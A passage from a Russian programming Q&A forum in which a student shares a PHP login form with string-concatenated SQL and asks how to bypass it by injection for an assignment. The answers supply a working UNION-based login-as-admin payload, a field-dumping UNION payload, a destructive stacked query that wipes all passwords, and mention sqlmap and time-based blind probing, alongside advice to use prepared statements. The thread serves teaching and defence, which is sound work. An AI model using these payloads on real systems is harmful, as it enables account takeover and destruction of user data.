Всем привет, получил задание написать простую форму регистрации и авторизации на сайте,успешно справился, теперь нужно зайти на сайт зная только логин, но не зная пароля с помощь SQL-инъекции. Как это сделать не могу понять, уже все статьи и туториалы пересмотрел, ищу помощи здесь Вот код, проверяющий правильность введеного логина и пароля
<?php
session_start();
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<link rel="stylesheet" href="style1.css">
</head>
<body>
<div class="form-wrap">
<h2 class="header-title" >Главная страница</h2>
<form action="index.php" method="post" class="forma">
<?
// вся процедура работает на сессиях. Именно в ней хранятся данные пользователя, пока он находится на сайте. Очень важно запустить их в самом начале странички!!!
if (isset($_POST['login'])) {
$login = $_POST['login'];
if ($login == '') {
unset($login);
}
} //заносим введенный пользователем логин в переменную $login, если он пустой, то уничтожаем переменную
if (isset($_POST['password'])) {
$password=$_POST['password'];
if ($password ==''){
unset($password);
}
}
//заносим введенный пользователем пароль в переменную $password, если он пустой, то уничтожаем переменную
if (empty($login) or empty($password))//если пользователь не ввел логин или пароль, то выдаем ошибку и останавливаем скрипт
{
echo ("Вы ввели не всю информацию, вернитесь назад и заполните все поля!");?>
<input type="submit" name="close" value="Назад" class="btn">
<?
exit ();
}
//если логин и пароль введены,то обрабатываем их, чтобы теги и скрипты не работали, мало ли что люди могут ввести
$login = stripslashes($login);
$login = htmlspecialchars($login);
$password = stripslashes($password);
$password = htmlspecialchars($password);
//удаляем лишние пробелы
$login = trim($login);
$password = trim($password);
// подключаемся к базе
include ("bd.php");// файл bd.php должен быть в той же папке, что и все остальные, если это не так, то просто измените путь
$privilage = mysqli_query($db, "SELECT privilage FROM user WHERE login='$login'");
$priv = mysqli_fetch_array($privilage);
$result = mysqli_query($db, "SELECT * FROM user WHERE login='$login'");
//извлекаем из базы все данные о пользователе с введенным логином
$myrow = mysqli_fetch_array($result);
$password = md5($password ."sdf");
//если существует, то сверяем пароли
if ($myrow['password']==$password) {
//если пароли совпадают, то запускаем пользователю сессию! Можете его поздравить, он вошел!
$_SESSION['login']=$myrow['login'];
$_SESSION['id']=$myrow['id'];
//эти данные очень часто используются, вот их и будет "носить с собой" вошедший пользователь
if ($priv['privilage'] != NULL){
?>
<div class="login">
<?
echo "Вы зашли как <br>";
echo "администратор ".$_SESSION['login']." ";
?>
</div>
<?
}
else{
?>
<div class="login">
<?
echo "Вы вошли как <br>";
echo "".$_SESSION['login']."";
?>
</div>
<?
}
}
else {
//если пароли не сошлись
echo ("Извините, введённый вами логин или пароль неверный.");
?>
<input type="submit" name="close" value="Назад" class="btn">
<?
exit();
}
?>
<input type="submit" name="close" value="Выйти" class="btn">
</form>
</div>
</body>
</html>
Авторизоваться в вашей форме можно даже не зная логина. Давайте разберёмся по порядку.
Первое, и главное, на что надо обратить внимание - явное наличие sql-inj в вашем коде. У вас есть попытка обезопасить данные попадающие в запрос:
$login = htmlspecialchars($login);
Но, если вы читали документацию, то знаете, что одинарные кавычки в этом случае останутся в своём исходном виде (см. ENT_QUOTES) и это позволит злоумышленнику внедрить свой код в запрос.
Второе, о чём следует сказать - пароль всё равно необходим, т.к. проверка на валидность введённых данных у вас производится не в запросе, а программно ниже:
$password = md5($password ."sdf");
//если существует, то сверяем пароли
if ($myrow['password']==$password) {
Никакая sql-inj напрямую не позволит обойти этот участок кода. Но! Его можно обойти косвенно. И для этого есть два варианта:
либо мы получаем пароль из базы и работаем с этим материалом (т.е. нарушаем требование "не знать пароль")
либо мы внедряем свой заранее известный пароль в процесс авторизации (мы тоже его знаем изначально, но я не думаю, что это нарушает условия задачи)
Пойдём по второму пути.
Но сначала надо сделать небольшое отступление. Т.к. нам придётся вклиниваться в запрос, а мы не знаем ни названия полей в этой таблице, ни их типов, ни даже их количества, которое скрывается за звёздочкой в селекте..
SELECT * FROM user ..
.. нам так или иначе придётся провести изыскания по этому поводу. Механизмов это сделать - множество. Конкретно в вашем случае можно использовать, например, внедрение утверждений в паре с бенчмарком и делать выводы на основе скорости ответа сервера. Выглядит это примерно так:
.. если(предположение, ничего_не_делаем, спим_10_секунд) ..
В качестве предположений могут быть такие как "вторая буква первого поля таблицы юзеров равна Ы". Теперь, если сервер ответил быстро - мы выяснили букву, иначе перебираем дальше.
Это только один из способов. Их множество. Знать и перебирать их все - тяжко. Но есть готовый продукт - sqlmap. Это утилита, которая сама находит на вашей форме поля, пытается отправить форму на сервер, перебирает известные типы уязвимостей, а затем, эксплуатируя их, может просто скачать хоть всю базу на локальную машину злоумышленника. Дальше ему будет достаточно изучить её и уже на основе этих знаний пытаться проникнуть в систему.
Будем считать, что мы уже сделали всё перечисленное выше и уже знаем как минимум названия всех полей в таблице пользователей и хэш пароля администратора. Тут надо сделать ещё одну оговорку: из вашего вопроса мы уже знаем и хэш-функцию и соль, которая в ней применяется. Ниже я буду продолжать взлом основываясь на этих данных. В реальности же скорее всего придётся подбирать пароль и делать выводы о наличии соли на основе результата. Есть огромная вероятность, что реальный злоумышленник никогда ничего подобрать и не сможет (чёрт возьми, да сделай же соль побольше! и почитай, например, про радужные таблицы).
Пропустим рутину и просто сделаем небольшой прототип для продолжения на нём. Для этого я создал вот такую базу с одной таблицей и одной записью в ней:
create database test;
use test;
create table users(id int, password char(32), login char(10));
insert into users(1, "ae4b57dd10695a75861221d2204dd032", "admin");
Хэш ae4b57dd10695a75861221d2204dd032
получается при пароле 123
. Я его получил выполнив md5("123sdf")
.
Пробовать авторизоваться будем с паролем 456
:
md5("456sdf") = 1a1e6f3748226c314baef0532d0f8b1c
Дело за малым - таким образом модифицировать запрос, чтобы вместо оригинального хэша от пароля 123 запрос вернул бы наш хэш от пароля 456. Сделать это не сложно, запрос примитивный:
SELECT *
FROM users
WHERE login=''
union
select 0 as id, '1a1e6f3748226c314baef0532d0f8b1c' as password, 'admin' as login
from dual
where '1'
Внедряемая подстрока между одинарными кавычками - самой первой и самой последней, а именно:
'
union
select 0 as id, '1a1e6f3748226c314baef0532d0f8b1c' as password, 'admin' as login
from dual
where '1
Осталось записать её в одну строку и подставить в качестве логина в вашу форму. Пароль при этом значения не имеет:
' union select 0 as id, '1a1e6f3748226c314baef0532d0f8b1c' as password, 'admin' as login from dual where '1
И, вуаля! Мы авторизовались админом.
Хм, не особо
трудоемко
, но с часок пришлось убить и табличку естессена. Следующее будет работать на ура, не перестарайся, хацкер;)
$login = "-1' UNION SELECT id,login,password,email,wallet,token,status,access FROM users WHERE '1";
Если не имеешь представления об остальных полях в таблице, можно заменить чем угодно (login, password, 3, 4, 5, 6, 7), важно подобрать количество.
$login = "-1' UNION SELECT id,login,password,email,wallet,token,status,access FROM
users WHERE '1";
$login = htmlspecialchars (stripslashes ($login));
try {
$result = $this->model->queryy ("SELECT * FROM users WHERE login = '$login'");
}
catch (\PDOException $e) {
echo $e->getMessage ().'<br>';
}
var_dump ($login);
var_dump ($result);
Такое делать не стоит, но если задание, то можно и пароли потереть, чекай:
$login = "-1'; UPDATE users SET password=0 WHERE '1";
Авторизация с помощью SQL инъекции здесь будет достаточно трудоемкая.
И непонятно, кто будет давать задание на эксплуатацию подобной инъекции тому, кто с трудом может накостылить примитивную "форму регистрации". А, главное, кому нужно её ломать.
В общем, если вопрос на самом деле звучит "Мне тут говорят что будет инъекция, докажите что это не так", то надо резко присмиреть и молча переписать этот ужас с использованием подготовленных выражений и нормального хэширования паролей.
Айфон мало держит заряд, разбираемся с проблемой вместе с AppLab
Всем приветЕсть php код в котором автоматически генерируются элементы
Сегодня заметил, что память на сервере полностью занятаПроверил кеш, его размер составлял 17 Гб и он занял всё свободное место на сервере
Ошибки показываются на линиях 45 и 46Данный код пример получения списка сообщений (первых 20) с помощью API vk
Есть функция parseDesc()В результате ее выполнения получается массив $productDesc[]